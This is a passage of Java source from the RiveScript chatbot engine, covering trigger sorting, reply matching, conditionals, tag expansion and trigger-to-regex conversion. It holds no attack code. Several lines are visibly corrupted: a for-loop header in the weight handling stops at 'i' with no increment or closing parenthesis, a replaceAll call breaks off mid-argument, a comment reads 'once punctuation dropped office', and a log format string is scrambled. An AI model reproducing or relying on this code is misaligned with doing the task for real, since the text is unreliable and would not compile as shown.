// Move the no-{inherits} triggers to the bottom of the stack.
track.put(highestInherits + 1, track.get(-1));
track.remove(-1);
// Sort the track from the lowest to the highest.
List<Integer> trackSorted = new ArrayList<>();
for (Integer k : track.keySet()) {
trackSorted.add(k);
}
Collections.sort(trackSorted);
// Go through each priority level from greatest to smallest.
for (Integer ip : trackSorted) {
logger.debug("ip={}", ip);
// Sort each of the main kinds of triggers by their word counts.
running.addAll(sortByWords(track.get(ip).getAtomic()));
running.addAll(sortByWords(track.get(ip).getOption()));
running.addAll(sortByWords(track.get(ip).getAlpha()));
running.addAll(sortByWords(track.get(ip).getNumber()));
running.addAll(sortByWords(track.get(ip).getWild()));
// Add the single wildcard triggers, sorted by length.
running.addAll(sortByLength(track.get(ip).getUnder()));
running.addAll(sortByLength(track.get(ip).getPound()));
running.addAll(sortByLength(track.get(ip).getStar()));
}
}
return running;
}
/**
* Sorts a list of strings by their word counts and lengths.
*
* @param list the list to sort
* @return the sorted list
*/
private List<String> sortList(Iterable<String> list) {
List<String> output = new ArrayList<>();
// Track by number of words.
Map<Integer, List<String>> track = new HashMap<>();
// Loop through each item.
for (String item : list) {
int count = StringUtils.countWords(item, true);
if (!track.containsKey(count)) {
track.put(count, new ArrayList<String>());
}
track.get(count).add(item);
}
// Sort them by word count, descending.
List<Integer> sortedCounts = new ArrayList<>();
for (Integer count : track.keySet()) {
sortedCounts.add(count);
}
Collections.sort(sortedCounts);
Collections.reverse(sortedCounts);
for (Integer count : sortedCounts) {
// Sort the strings of this word-count by their lengths.
List<String> sortedLengths = track.get(count);
Collections.sort(sortedLengths, byLengthReverse());
for (String item : sortedLengths) {
output.add(item);
}
}
return output;
}
/**
* Sorts a set of triggers by word count and overall length.
* <p>
* This is a helper function for sorting the {@code atomic}, {@code option}, {@code alpha}, {@code number} and
* {@code wild} attributes of the {@link SortTrack} and adding them to the running sort buffer in that specific order.
*
* @param triggers the triggers to sort
* @return the sorted triggers
*/
private List<SortedTriggerEntry> sortByWords(Map<Integer, List<SortedTriggerEntry>> triggers) {
// Sort the triggers by their word counts from greatest to smallest.
List<Integer> sortedWords = new ArrayList<>();
for (Integer wc : triggers.keySet()) {
sortedWords.add(wc);
}
Collections.sort(sortedWords);
Collections.reverse(sortedWords);
List<SortedTriggerEntry> sorted = new ArrayList<>();
for (Integer wc : sortedWords) {
// Triggers with equal word lengths should be sorted by overall trigger length.
List<String> sortedPatterns = new ArrayList<>();
Map<String, List<SortedTriggerEntry>> patternMap = new HashMap<>();
for (SortedTriggerEntry trigger : triggers.get(wc)) {
sortedPatterns.add(trigger.getTrigger());
if (!patternMap.containsKey(trigger.getTrigger())) {
patternMap.put(trigger.getTrigger(), new ArrayList<SortedTriggerEntry>());
}
patternMap.get(trigger.getTrigger()).add(trigger);
}
Collections.sort(sortedPatterns, byLengthReverse());
// Add the triggers to the sorted triggers bucket.
for (String pattern : sortedPatterns) {
sorted.addAll(patternMap.get(pattern));
}
}
return sorted;
}
/**
* Sorts a set of triggers purely by character length.
* <p>
* This is like {@link #sortByWords(Map)}, but it's intended for triggers that consist solely of wildcard-like symbols with no real words.
* For example a trigger of {@code * * *} qualifies for this, and it has no words,
* so we sort by length so it gets a higher priority than simply {@code *}.
*
* @param triggers the triggers to sort
* @return the sorted triggers
*/
private List<SortedTriggerEntry> sortByLength(List<SortedTriggerEntry> triggers) {
List<String> sortedPatterns = new ArrayList<>();
Map<String, List<SortedTriggerEntry>> patternMap = new HashMap<>();
for (SortedTriggerEntry trigger : triggers) {
sortedPatterns.add(trigger.getTrigger());
if (!patternMap.containsKey(trigger.getTrigger())) {
patternMap.put(trigger.getTrigger(), new ArrayList<SortedTriggerEntry>());
}
patternMap.get(trigger.getTrigger()).add(trigger);
}
Collections.sort(sortedPatterns, byLengthReverse());
// Only loop through unique patterns.
Map<String, Boolean> patternSet = new HashMap<>();
List<SortedTriggerEntry> sorted = new ArrayList<>();
// Add them to the sorted triggers bucket.
for (String pattern : sortedPatterns) {
if (patternSet.containsKey(pattern) && patternSet.get(pattern)) {
continue;
}
patternSet.put(pattern, true);
sorted.addAll(patternMap.get(pattern));
}
return sorted;
}
/**
* Returns a {@link Comparator<String>} to sort a list of {@link String}s by reverse length.
* Strings with equal length will be sorted alphabetically (natural ordering).
*
* @return the comparator
*/
private Comparator<String> byLengthReverse() {
return new Comparator<String>() {
@Override
public int compare(String o1, String o2) {
int result = Integer.compare(o2.length(), o1.length());
if (result == 0) {
result = o1.compareTo(o2);
}
return result;
}
};
}
/*-- Reply Methods --*/
/**
* Returns a reply from the bot for a user's message.
* <p>
* In case of an exception and exception throwing is enabled a {@link RiveScriptException} is thrown.
* Check the subclasses to see which types exceptions can be thrown.
*
* @param username the username
* @param message the user's message
* @return the reply
* @throws RiveScriptException in case of an exception and exception throwing is enabled
*/
public String reply(String username, String message) throws RiveScriptException {
logger.debug("Asked to reply to [{}] {}", username, message);
long startTime = System.currentTimeMillis();
// Store the current user's ID.
this.currentUser.set(username);
try {
// Initialize a user profile for this user?
this.sessions.init(username);
// Format their message.
message = formatMessage(message, false);
String reply;
// If the BEGIN block exists, consult it first.
if (this.topics.containsKey("__begin__")) {
String begin = getReply(username, "request", true, 0);
// OK to continue?
if (begin.contains("{ok}")) {
reply = getReply(username, message, false, 0);
begin = begin.replaceAll("\\{ok\\}", reply);
}
reply = begin;
reply = processTags(username, message, reply, new ArrayList<String>(), new ArrayList<String>(), 0);
} else {
reply = getReply(username, message, false, 0);
}
// Save their message history.
this.sessions.addHistory(username, message, reply);
if (logger.isDebugEnabled()) {
long elapsedTime = System.currentTimeMillis() - startTime;
logger.debug("Replied [{}] to [{}] in {} ms", reply, username, elapsedTime);
}
return reply;
} finally {
// Unset the current user's ID.
this.currentUser.remove();
}
}
/**
* Returns a reply from the bot for a user's message.
*
* @param username the username
* @param message the user's message
* @param isBegin whether this reply is for the {@code BEGIN} block context or not.
* @param step the recursion depth counter
* @return the reply
*/
private String getReply(String username, String message, boolean isBegin, int step) {
// Needed to sort replies?
if (this.sorted.getTopics().size() == 0) {
logger.warn("You forgot to call sortReplies()!");
String errorMessage = this.errorMessages.get(REPLIES_NOT_SORTED_KEY);
if (this.throwExceptions) {
throw new RepliesNotSortedException(errorMessage);
}
return errorMessage;
}
// Collect data on this user.
String topic = this.sessions.get(username, "topic");
if (topic == null) {
topic = "random";
}
List<String> stars = new ArrayList<>();
List<String> thatStars = new ArrayList<>();
String reply = null;
// Avoid letting them fall into a missing topic.
if (!this.topics.containsKey(topic)) {
logger.warn("User {} was in an empty topic named '{}'", username, topic);
topic = "random";
this.sessions.set(username, "topic", topic);
}
// Avoid deep recursion.
if (checkDeepRecursion(step, "Deep recursion while getting reply!")) {
return this.errorMessages.get(DEEP_RECURSION_KEY);
}
// Are we in the BEGIN block?
if (isBegin) {
topic = "__begin__";
}
// More topic sanity checking.
if (!this.topics.containsKey(topic)) {
// This was handled before, which would mean topic=random and it doesn't exist. Serious issue!
String errorMessage = this.errorMessages.get(DEFAULT_TOPIC_NOT_FOUND_KEY);
if (this.throwExceptions) {
throw new NoDefaultTopicException(errorMessage);
}
return errorMessage;
}
// Create a pointer for the matched data when we find it.
Trigger matched = null;
String matchedTrigger = null;
boolean foundMatch = false;
// See if there were any %Previous's in this topic, or any topic related to it.
// This should only be done the first time -- not during a recursive redirection.
// This is because in a redirection, "lastReply" is still gonna be the same as it was the first time,
// resulting in an infinite loop!
if (step == 0) {
List<String> allTopics = new ArrayList<>(Arrays.asList(topic));
if (this.includes.get(topic).size() > 0 || this.inherits.get(topic).size() > 0) {
// Get ALL the topics!
allTopics = getTopicTree(topic, 0);
}
// Scan them all.
for (String top : allTopics) {
logger.debug("Checking topic {} for any %Previous's", top);
if (this.sorted.getThats(top).size() > 0) {
logger.debug("There's a %Previous in this topic!");
// Get the bot's last reply to the user.
History history = this.sessions.getHistory(username);
String lastReply = history.getReply().get(0);
// Format the bot's reply the same way as the human's.
lastReply = formatMessage(lastReply, true);
logger.debug("Bot's last reply: {}", lastReply);
// See if it's a match.
for (SortedTriggerEntry trigger : this.sorted.getThats(top)) {
String pattern = trigger.getPointer().getPrevious();
String botside = triggerRegexp(username, pattern);
logger.debug("Try to match lastReply {} to {} ({})", lastReply, pattern, botside);
// Match?
Pattern re = Pattern.compile("^" + botside + "$");
Matcher matcher = re.matcher(lastReply);
if (matcher.find()) {
// Huzzah! See if OUR message is right too...
logger.debug("Bot side matched!");
// Collect the bot stars.
for (int i = 1; i <= matcher.groupCount(); i++) {
thatStars.add(matcher.group(i));
}
// Compare the triggers to the user's message.
Trigger userSide = trigger.getPointer();
String regexp = triggerRegexp(username, userSide.getTrigger());
logger.debug("Try to match {} against {} ({})", message, userSide.getTrigger(), regexp);
// If the trigger is atomic, we don't need to deal with the regexp engine.
boolean isMatch = false;
if (isAtomic(userSide.getTrigger())) {
if (message.equals(regexp)) {
isMatch = true;
}
} else {
re = Pattern.compile("^" + regexp + "$");
matcher = re.matcher(message);
if (matcher.find()) {
isMatch = true;
// Get the user's message stars.
for (int i = 1; i <= matcher.groupCount(); i++) {
stars.add(matcher.group(i));
}
}
}
// Was it a match?
if (isMatch) {
// Keep the trigger pointer.
matched = userSide;
foundMatch = true;
matchedTrigger = userSide.getTrigger();
break;
}
}
}
}
}
}
// Search their topic for a match to their trigger.
if (!foundMatch) {
logger.debug("Searching their topic for a match...");
for (SortedTriggerEntry trigger : this.sorted.getTopic(topic)) {
String pattern = trigger.getTrigger();
String regexp = triggerRegexp(username, pattern);
logger.debug("Try to match \"{}\" against {} ({})", message, pattern, regexp);
// If the trigger is atomic, we don't need to bother with the regexp engine.
boolean isMatch = false;
if (isAtomic(pattern) && message.equals(regexp)) {
isMatch = true;
} else {
// Non-atomic triggers always need the regexp.
Pattern re = Pattern.compile("^" + regexp + "$");
Matcher matcher = re.matcher(message);
if (matcher.find()) {
// The regexp matched!
isMatch = true;
// Collect the stars.
for (int i = 1; i <= matcher.groupCount(); i++) {
stars.add(matcher.group(i));
}
}
}
// A match somehow?
if (isMatch) {
logger.debug("Found a match!");
// Keep the pointer to this trigger's data.
matched = trigger.getPointer();
foundMatch = true;
matchedTrigger = pattern;
break;
}
}
}
// Store what trigger they matched on.
this.sessions.setLastMatch(username, matchedTrigger);
// Did we match?
if (foundMatch) {
for (int n = 0; n < 1; n++) { // A single loop so we can break out early.
// See if there are any hard redirects.
if (matched.getRedirect() != null && matched.getRedirect().length() > 0) {
logger.debug("Redirecting us to {}", matched.getRedirect());
String redirect = matched.getRedirect();
redirect = processTags(username, message, redirect, stars, thatStars, 0);
redirect = redirect.toLowerCase();
logger.debug("Pretend user said: {}", redirect);
reply = getReply(username, redirect, isBegin, step + 1);
break;
}
// Check the conditionals.
for (String row : matched.getCondition()) {
String[] halves = row.split("=>");
if (halves.length == 2) {
Matcher matcher = RE_CONDITION.matcher(halves[0].trim());
if (matcher.find()) {
String left = matcher.group(1).trim();
String eq = matcher.group(2);
String right = matcher.group(3).trim();
String potentialReply = halves[1].trim();
// Process tags all around.
left = processTags(username, message, left, stars, thatStars, step);
right = processTags(username, message, right, stars, thatStars, step);
// Defaults?
if (left.length() == 0) {
left = UNDEFINED;
}
if (right.length() == 0) {
right = UNDEFINED;
}
logger.debug("Check if {} {} {}", left, eq, right);
// Validate it.
boolean passed = false;
if (eq.equals("eq") || eq.equals("==")) {
if (left.equals(right)) {
passed = true;
}
} else if (eq.equals("ne") || eq.equals("!=") || eq.equals("<>")) {
if (!left.equals(right)) {
passed = true;
}
} else {
// Dealing with numbers here.
int intLeft;
int intRight;
try {
intLeft = Integer.parseInt(left);
intRight = Integer.parseInt(right);
if (eq.equals("<") && intLeft < intRight) {
passed = true;
} else if (eq.equals("<=") && intLeft <= intRight) {
passed = true;
} else if (eq.equals(">") && intLeft > intRight) {
passed = true;
} else if (eq.equals(">=") && intLeft >= intRight) {
passed = true;
}
} catch (NumberFormatException e) {
logger.warn("Failed to evaluate numeric condition!");
}
}
if (passed) {
reply = potentialReply;
break;
}
}
}
}
// Have our reply yet?
if (reply != null && reply.length() > 0) {
break;
}
// Process weights in the replies.
List<String> bucket = new ArrayList<>();
for (String rep : matched.getReply()) {
int weight;
Matcher matcher = RE_WEIGHT.matcher(rep);
if (matcher.find()) {
weight = Integer.parseInt(matcher.group(1));
if (weight <= 0) {
weight = 1;
}
for (int i = weight; i > 0; i
bucket.add(rep);
}
} else {
bucket.add(rep);
}
}
// Get a random reply.
if (bucket.size() > 0) {
reply = bucket.get(RANDOM.nextInt(bucket.size()));
}
break;
}
}
// Still no reply?? Give up with the fallback error replies.
if (!foundMatch) {
String errorMessage = this.errorMessages.get(REPLY_NOT_MATCHED_KEY);
if (this.throwExceptions) {
throw new ReplyNotMatchedException(errorMessage);
}
reply = errorMessage;
} else if (reply == null || reply.length() == 0) {
String errorMessage = this.errorMessages.get(REPLY_NOT_FOUND_KEY);
if (this.throwExceptions) {
throw new ReplyNotFoundException(errorMessage);
}
reply = errorMessage;
}
logger.debug("Reply: {}", reply);
// Process tags for the BEGIN block.
if (isBegin) {
// The BEGIN block can set {topic} and user vars.
// Topic setter.
Matcher matcher = RE_TOPIC.matcher(reply);
int giveup = 0;
while (matcher.find()) {
giveup++;
if (checkDeepRecursion(giveup, "Infinite loop looking for topic tag!")) {
break;
}
String name = matcher.group(1);
this.sessions.set(username, "topic", name);
reply = reply.replace(matcher.group(0), "");
}
// Set user vars.
matcher = RE_SET.matcher(reply);
giveup = 0;
while (matcher.find()) {
giveup++;
if (checkDeepRecursion(giveup, "Infinite loop looking for set tag!")) {
break;
}
String name = matcher.group(1);
String value = matcher.group(2);
this.sessions.set(username, name, value);
reply = reply.replace(matcher.group(0), "");
}
} else {
reply = processTags(username, message, reply, stars, thatStars, 0);
}
return reply;
}
/**
* Formats a user's message for safe processing.
*
* @param message the user's message
* @param botReply whether it is a bot reply or not
* @return the formatted message
*/
private String formatMessage(String message, boolean botReply) {
// Lowercase it.
message = "" + message;
message = message.toLowerCase();
// Run substitutions and sanitize what's left.
message = substitute(message, this.sub, this.sorted.getSub());
// In UTF-8 mode, only strip metacharacters and HTML brackets (to protect against obvious XSS attacks).
if (this.utf8) {
message = RE_META.matcher(message).replaceAll("");
if (this.unicodePunctuation != null) {
message = this.unicodePunctuation.matcher(message).replaceAll("");
}
// For the bot's reply, also strip common punctuation.
if (botReply) {
message = RE_SYMBOLS.matcher(message).replaceAll("");
}
} else {
// For everything else, strip all non-alphanumerics.
message = stripNasties(message);
}
// Cut leading and trailing blanks once punctuation dropped office.
message = message.trim();
message = message.replaceAll("\\s+", " ");
return message;
}
/**
* Processes tags in a reply element.
*
* @param username the username
* @param message the user's message
* @param reply the reply
* @param st the stars
* @param bst the bot stars
* @param step the recursion depth counter
* @return the processed reply
*/
private String processTags(String username, String message, String reply, List<String> st, List<String> bst, int step) {
// Prepare the stars and botstars.
List<String> stars = new ArrayList<>();
stars.add("");
stars.addAll(st);
List<String> botstars = new ArrayList<>();
botstars.add("");
botstars.addAll(bst);
if (stars.size() == 1) {
stars.add(UNDEFINED);
}
if (botstars.size() == 1) {
botstars.add(UNDEFINED);
}
// Turn arrays into randomized sets.
Pattern re = Pattern.compile("\\(@([A-Za-z0-9_]+)\\)");
Matcher matcher = re.matcher(reply);
int giveup = 0;
while (matcher.find()) {
if (checkDeepRecursion(giveup, "Infinite loop looking for arrays in reply!")) {
break;
}
String name = matcher.group(1);
String result;
if (this.array.containsKey(name)) {
result = "{random}" + StringUtils.join(this.array.get(name).toArray(new String[0]), "|") + "{/random}";
} else {
result = "\\x00@" + name + "\\x00"; // Dummy it out so we can reinsert it later.
}
reply = reply.replace(matcher.group(0), result);
}
reply = reply.replaceAll("\\\\x00@([A-Za-z0-9_]+)\\\\x00", "(@$1)");
// Tag shortcuts.
reply = reply.replaceAll("<person>", "{person}<star>{/person}");
reply = reply.replaceAll("<@>", "{@<star>}");
reply = reply.replaceAll("<formal>", "{formal}<star>{/formal}");
reply = reply.replaceAll("<sentence>", "{sentence}<star>{/sentence}");
reply = reply.replaceAll("<uppercase>", "{uppercase}<star>{/uppercase}");
reply = reply.replaceAll("<lowercase>", "{lowercase}<star>{/lowercase}");
// Weight and star tags.
reply = RE_WEIGHT.matcher(reply).replaceAll(""); // Remove {weight} tags.
reply = reply.replaceAll("<star>", stars.get(1));
reply = reply.replaceAll("<botstar>", botstars.get(1));
for (int i = 1; i < stars.size(); i++) {
reply = reply.replaceAll("<star" + i + ">", stars.get(i));
}
for (int i = 1; i < botstars.size(); i++) {
reply = reply.replaceAll("<botstar" + i + ">", botstars.get(i));
}
// <input> and <reply> tags.
reply = reply.replaceAll("<input>", "<input1>");
reply = reply.replaceAll("<reply>", "<reply1>");
History history = this.sessions.getHistory(username);
if (history != null) {
for (int i = 1; i <= HISTORY_SIZE; i++) {
reply = reply.replaceAll("<input" + i + ">", history.getInput(i - 1));
reply = reply.replaceAll("<reply" + i + ">", history.getReply(i - 1));
}
}
// <id> and escape codes.
reply = reply.replaceAll("<id>", username);
reply = reply.replaceAll("\\\\s", " ");
reply = reply.replaceAll("\\\\n", "\n");
reply = reply.replaceAll("\\
// {random}
matcher = RE_RANDOM.matcher(reply);
giveup = 0;
while (matcher.find()) {
giveup++;
if (checkDeepRecursion(giveup, "Infinite loop looking for random tag!")) {
break;
}
String[] random;
String text = matcher.group(1);
if (text.contains("|")) {
random = text.split("\\|");
} else {
random = text.split(" ");
}
String output = "";
if (random.length > 0) {
output = random[RANDOM.nextInt(random.length)];
}
reply = reply.replace(matcher.group(0), output);
}
// Person substitution and string formatting.
String[] formats = new String[] {"person", "formal", "sentence", "uppercase", "lowercase"};
for (String format : formats) {
re = Pattern.compile("\\{" + format + "\\}(.+?)\\{\\/" + format + "\\}");
matcher = re.matcher(reply);
giveup = 0;
while (matcher.find()) {
giveup++;
if (checkDeepRecursion(giveup, "Infinite loop looking for {} tag!")) {
break;
}
String content = matcher.group(1);
String replace = null;
if (format.equals("person")) {
replace = substitute(content, this.person, this.sorted.getPerson());
} else {
if (format.equals("uppercase")) {
replace = content.toUpperCase();
} else if (format.equals("lowercase")) {
replace = content.toLowerCase();
} else if (format.equals("sentence")) {
if (content.length() > 1) {
replace = content.substring(0, 1).toUpperCase() + content.substring(1).toLowerCase();
} else {
replace = content.toUpperCase();
}
} else if (format.equals("formal")) {
String[] words = content.split(" ");
for (int i = 0; i < words.length; i++) {
String word = words[i];
if (word.length() > 1) {
words[i] = word.substring(0, 1).toUpperCase() + word.substring(1).toLowerCase();
} else {
words[i] = word.toUpperCase();
}
}
replace = StringUtils.join(words, " ");
}
}
reply = reply.replace(matcher.group(0), replace);
}
}
// Handle all variable-related tags with an iterative regexp approach to
// allow for nesting of tags in arbitrary ways (think <set a=<get b>>)
// Dummy out the <call> tags first, because we don't handle them here.
reply = reply.replaceAll("<call>", "{__call__}");
reply = reply.replaceAll("</call>", "{/__call__}");
while (true) {
// Look for tags that don't contain any other tags inside them.
matcher = RE_ANY_TAG.matcher(reply);
if (!matcher.find()) {
break; // No tags left!
}
String match = matcher.group(1);
String[] parts = match.split(" ");
String tag = parts[0].toLowerCase();
String data = "";
if (parts.length > 1) {
data = StringUtils.join(Arrays.copyOfRange(parts, 1, parts.length), " ");
}
String insert = "";
// Handle the various types of tags.
if (tag.equals("bot") || tag.equals("env")) {
// <bot> and <env> tags are similar.
Map<String, String> target;
if (tag.equals("bot")) {
target = this.vars;
} else {
target = this.global;
}
if (data.contains("=")) {
// Assigning the value.
parts = data.split("=");
String name = parts[0];
String value = parts[1];
logger.debug("Assign {} variable {} = }{", tag, name, value);
target.put(name, value);
} else {
// Getting a bot/env variable.
if (target.containsKey(data)) {
insert = target.get(data);
} else {
insert = UNDEFINED;
}
}
} else if (tag.equals("set")) {
// <set> user vars.
parts = data.split("=");
if (parts.length > 1) {
String name = parts[0];
String value = parts[1];
logger.debug("Set uservar {} = {}", name, value);
this.sessions.set(username, name, value);
} else {
logger.warn("Malformed <set> tag: {}", match);
}
} else if (tag.equals("add") || tag.equals("sub") || tag.equals("mult") || tag.equals("div")) {
// Math operator tags
parts = data.split("=");
String name = parts[0];
String strValue = parts[1];
int result = 0;
// Initialize the variable?
String origStr = this.sessions.get(username, name);
if (origStr == null) {
origStr = "0";
this.sessions.set(username, name, origStr);
}
// Sanity check.
try {
int value = Integer.parseInt(strValue);
try {
result = Integer.parseInt(origStr);
// Run the operation.
if (tag.equals("add")) {
result += value;
} else if (tag.equals("sub")) {
result -= value;
} else if (tag.equals("mult")) {
result *= value;
} else {
// Don't divide by zero.
if (value == 0) {
logger.warn("Can't divide by zero");
insert = this.errorMessages.get(CANNOT_DIVIDE_BY_ZERO_KEY);
}
result /= value;
}
this.sessions.set(username, name, Integer.toString(result));
} catch (NumberFormatException e) {
logger.warn("Math can't " + tag + " non-numeric variable " + name);
insert = this.errorMessages.get(CANNOT_MATH_VARIABLE_KEY);
}
} catch (NumberFormatException e) {
logger.warn("Math can't " + tag + " non-numeric value " + strValue);
insert = this.errorMessages.get(CANNOT_MATH_VALUE_KEY);
}
} else if (tag.equals("get")) {
// <get> user vars.
insert = this.sessions.get(username, data);
if (insert == null) {
insert = UNDEFINED;
}
} else {
// Unrecognized tag; preserve it.
insert = "\\x00" + match + "\\x01";
}
reply = reply.replace(matcher.group(0), insert);
}
// Recover mangled HTML-like tags.
reply = reply.replaceAll("\\\\x00", "<");
reply = reply.replaceAll("\\\\x01", ">");
// Topic setter.
matcher = RE_TOPIC.matcher(reply);
giveup = 0;
while (matcher.find()) {
giveup++;
if (checkDeepRecursion(giveup, "Infinite loop looking for topic tag!")) {
break;
}
String name = matcher.group(1);
this.sessions.set(username, "topic", name);
reply = reply.replace(matcher.group(0), "");
}
// Inline redirector.
matcher = RE_REDIRECT.matcher(reply);
giveup = 0;
while (matcher.find()) {
giveup++;
if (checkDeepRecursion(giveup, "Infinite loop looking for redirect tag!")) {
break;
}
String target = matcher.group(1);
logger.debug("Inline redirection to: {}", target);
String subreply = getReply(username, target.trim(), false, step + 1);
reply = reply.replace(matcher.group(0), subreply);
}
// Object caller.
reply = reply.replaceAll("\\{__call__\\}", "<call>");
reply = reply.replaceAll("\\{/__call__\\}", "</call>");
matcher = RE_CALL.matcher(reply);
giveup = 0;
while (matcher.find()) {
giveup++;
if (checkDeepRecursion(giveup, "Infinite loop looking for call tag!")) {
break;
}
String text = matcher.group(1).trim();
String[] parts = text.split(" ", 2);
String obj = parts[0];
String[] args;
if (parts.length > 1) {
args = parseCallArgsString(parts[1]);
} else {
args = new String[0];
}
// Do we know this object?
String output;
if (this.subroutines.containsKey(obj)) {
// It exists as a native Java macro.
output = this.subroutines.get(obj).call(this, args);
} else if (this.objectLanguages.containsKey(obj)) {
String language = this.objectLanguages.get(obj);
output = this.handlers.get(language).call(this, obj, args);
} else {
output = this.errorMessages.get(OBJECT_NOT_FOUND_KEY);
}
if (output == null) {
output = "";
}
reply = reply.replace(matcher.group(0), output);
}
return reply;
}
/**
* Converts an args {@link String} into a array of arguments.
*
* @param args the args string to convert
* @return the array of arguments
*/
private String[] parseCallArgsString(String args) {
List<String> result = new ArrayList<>();
String buffer = "";
boolean insideAString = false;
if (args != null) {
for (char c : args.toCharArray()) {
if (Character.isWhitespace(c) && !insideAString) {
if (buffer.length() > 0) {
result.add(buffer);
}
buffer = "";
continue;
}
if (c == '"') {
if (insideAString) {
if (buffer.length() > 0) {
result.add(buffer);
}
buffer = "";
}
insideAString = !insideAString;
continue;
}
buffer += c;
}
if (buffer.length() > 0) {
result.add(buffer);
}
}
return result.toArray(new String[0]);
}
/**
* Applies a substitution to an input message.
*
* @param message the input message
* @param subs the substitution map
* @param sorted the substitution list
* @return the substituted message
*/
private String substitute(String message, Map<String, String> subs, List<String> sorted) {
// Safety checking.
if (subs == null || subs.size() == 0) {
return message;
}
// Make placeholders each time we substitute something.
List<String> ph = new ArrayList<>();
int pi = 0;
for (String pattern : sorted) {
String result = subs.get(pattern);
String qm = quoteMetacharacters(pattern);
// Make a placeholder.
ph.add(result);
String placeholder = "\\\\x00" + pi + "\\\\x00";
pi++;
// Run substitutions.
message = message.replaceAll("^" + qm + "$", placeholder);
message = message.replaceAll("^" + qm + "(\\W+)", placeholder + "$1");
message = message.replaceAll("(\\W+)" + qm + "(\\W+)", "$1" + placeholder + "$2");
message = message.replaceAll("(\\W+)" + qm + "$", "$1" + placeholder);
}
// Convert the placeholders back in.
int tries = 0;
while (message.contains("\\x00")) {
tries++;
if (checkDeepRecursion(tries, "Too many loops in substitution placeholders!")) {
break;
}
Matcher matcher = RE_PLACEHOLDER.matcher(message);
if (matcher.find()) {
int i = Integer.parseInt(matcher.group(1));
String result = ph.get(i);
message = message.replace(matcher.group(0), result);
}
}
return message;
}
/**
* Returns an array of every topic related to a topic (all the topics it inherits or includes,
* plus all the topics included or inherited by those topics, and so on).
* The array includes the original topic, too.
*
* @param topic the name of the topic
* @param depth the recursion depth counter
* @return the list of topic names
*/
private List<String> getTopicTree(String topic, int depth) {
// Break if we're in too deep.
if (checkDeepRecursion(depth, "Deep recursion while scanning topic tree!")) {
return new ArrayList<>();
}
// Collect an array of all topics.
List<String> topics = new ArrayList<>(Arrays.asList(topic));
for (String includes : this.topics.get(topic).getIncludes().keySet()) {
topics.addAll(getTopicTree(includes, depth + 1));
}
for (String inherits : this.topics.get(topic).getInherits().keySet()) {
topics.addAll(getTopicTree(inherits, depth + 1));
}
return topics;
}
/**
* Prepares a trigger pattern for the regular expression engine.
*
* @param username the username
* @param pattern the pattern
* @return the regular expression trigger pattern
*/
private String triggerRegexp(String username, String pattern) {
// If the trigger is simply '*' then the * needs to become (.*?) to match the blank string too.
pattern = RE_ZERO_WITH_STAR.matcher(pattern).replaceAll("<zerowidthstar>");
// Simple replacements.
pattern = pattern.replaceAll("\\*", "(.+?)"); // Convert * into (.+?)
pattern = pattern.replaceAll("#", "(\\\\d+?)"); // Convert # into (\d+?)
pattern = pattern.replaceAll("(?<!\\\\)_", "(\\\\w+?)"); // Convert _ into (\w+?)
pattern = pattern.replaceAll("\\\\_", "_"); // Convert \_ into _
pattern = pattern.replaceAll("\\s*\\{weight=\\d+\\}\\s*", ""); // Remove {weight} tags
pattern = pattern.replaceAll("<zerowidthstar>", "(.*?)"); // Convert <zerowidthstar> into (.+?)
pattern = pattern.replaceAll("\\|{2,}", "|"); // Remove empty entities
pattern = pattern.replaceAll("(\\(|\\[)\\|", "$1"); // Remove empty entities from start of alt/opts
pattern = pattern.replaceAll("\\|(\\)|\\])", "$1"); // Remove empty entities from end of alt/opts
// UTF-8 mode special characters.
if (this.utf8) {
// Literal @ symbols (like in an e-mail address) conflict with arrays.
pattern = pattern.replaceAll("\\\\@", "\\\\u0040");
}
// Optionals.
Matcher matcher = RE_OPTIONAL.matcher(pattern);
int giveup = 0;
while (matcher.find()) {
giveup++;
if (checkDeepRecursion(giveup, "Infinite loop when trying to process optionals in a trigger!")) {
return "";
}
String[] parts = matcher.group(1).split("\\|");
List<String> opts = new ArrayList<>();
for (String p : parts) {
opts.add("(?:\\s|\\b)+" + p + "(?:\\s|\\b)+");
}
// If this optional had a star or anything in it, make it non-matching.
String pipes = StringUtils.join(opts.toArray(new String[0]), "|");
pipes = pipes.replaceAll(StringUtils.quoteMetacharacters("(.+?)"), "(?:.+?)");
pipes = pipes.replaceAll(StringUtils.quoteMetacharacters("(\\d+?)"), "(?:\\\\d+?)");
pipes = pipes.replaceAll(StringUtils.quoteMetacharacters("(\\w+?)"), "(?:\\\\w+?)");
// Put the new text in.
pipes = "(?:" + pipes + "|(?:\\s|\\b)+)";
pattern = pattern.replaceAll("\\s*\\[" + StringUtils.quoteMetacharacters(matcher.group(1)) + "\\]\\s*",
StringUtils.quoteMetacharacters(pipes));
}
// _ wildcards can't match numbers!
// Quick note on why I did it this way: the initial replacement above (_ => (\w+?)) needs to be \w because the square brackets
// in [\s\d] will confuse the optionals logic just above. So then we switch it back down here.
// Also, we don't just use \w+ because that matches digits, and similarly [A-Za-z] doesn't work with Unicode,
// so this regexp excludes spaces and digits instead of including letters.
pattern = pattern.replaceAll("\\\\w", "[^\\\\s\\\\d]");
// Filter in arrays.
giveup = 0;
matcher = RE_ARRAY.matcher(pattern);
while (matcher.find()) {
giveup++;
if (checkDeepRecursion(giveup, "Infinite loop looking when trying to process arrays in a trigger!")) {
break;
}
String name = matcher.group(1);
String rep = "";
if (this.array.containsKey(name)) {
rep = "(?:" + StringUtils.join(this.array.get(name).toArray(new String[0]), "|") + ")";
}
pattern = pattern.replace(matcher.group(0), rep);
}
// Filter in bot variables.
giveup = 0;
matcher = RE_BOT_VAR.matcher(pattern);
while (matcher.find()) {
giveup++;
if (checkDeepRecursion(giveup, "Infinite loop looking when trying to process bot variables in a trigger!")) {
break;
}
String name = matcher.group(1);
String rep = "";
if (this.vars.containsKey(name)) {
rep = StringUtils.stripNasties(this.vars.get(name));
}
pattern = pattern.replace(matcher.group(0), rep.toLowerCase());
}
// Filter in user variables.
giveup = 0;
matcher = RE_USER_VAR.matcher(pattern);
while (matcher.find()) {
giveup++;
if (checkDeepRecursion(giveup, "Infinite loop looking when trying to process user variables in a trigger!")) {
break;
}
String name = matcher.group(1);
String rep = UNDEFINED;
String value = this.sessions.get(username, name);
if (value != null) {
rep = value;
}
pattern = pattern.replace(matcher.group(0), rep.toLowerCase());
}
// Filter in <input> and <reply> tags.
giveup = 0;
pattern = pattern.replaceAll("<input>", "<input1>");
pattern = pattern.replaceAll("<reply>", "<reply1>");
while (pattern.contains("<input") || pattern.contains("<reply")) {
giveup++;
if (checkDeepRecursion(giveup, "Infinite loop looking when trying to process input and reply tags in a trigger!")) {
break;
}
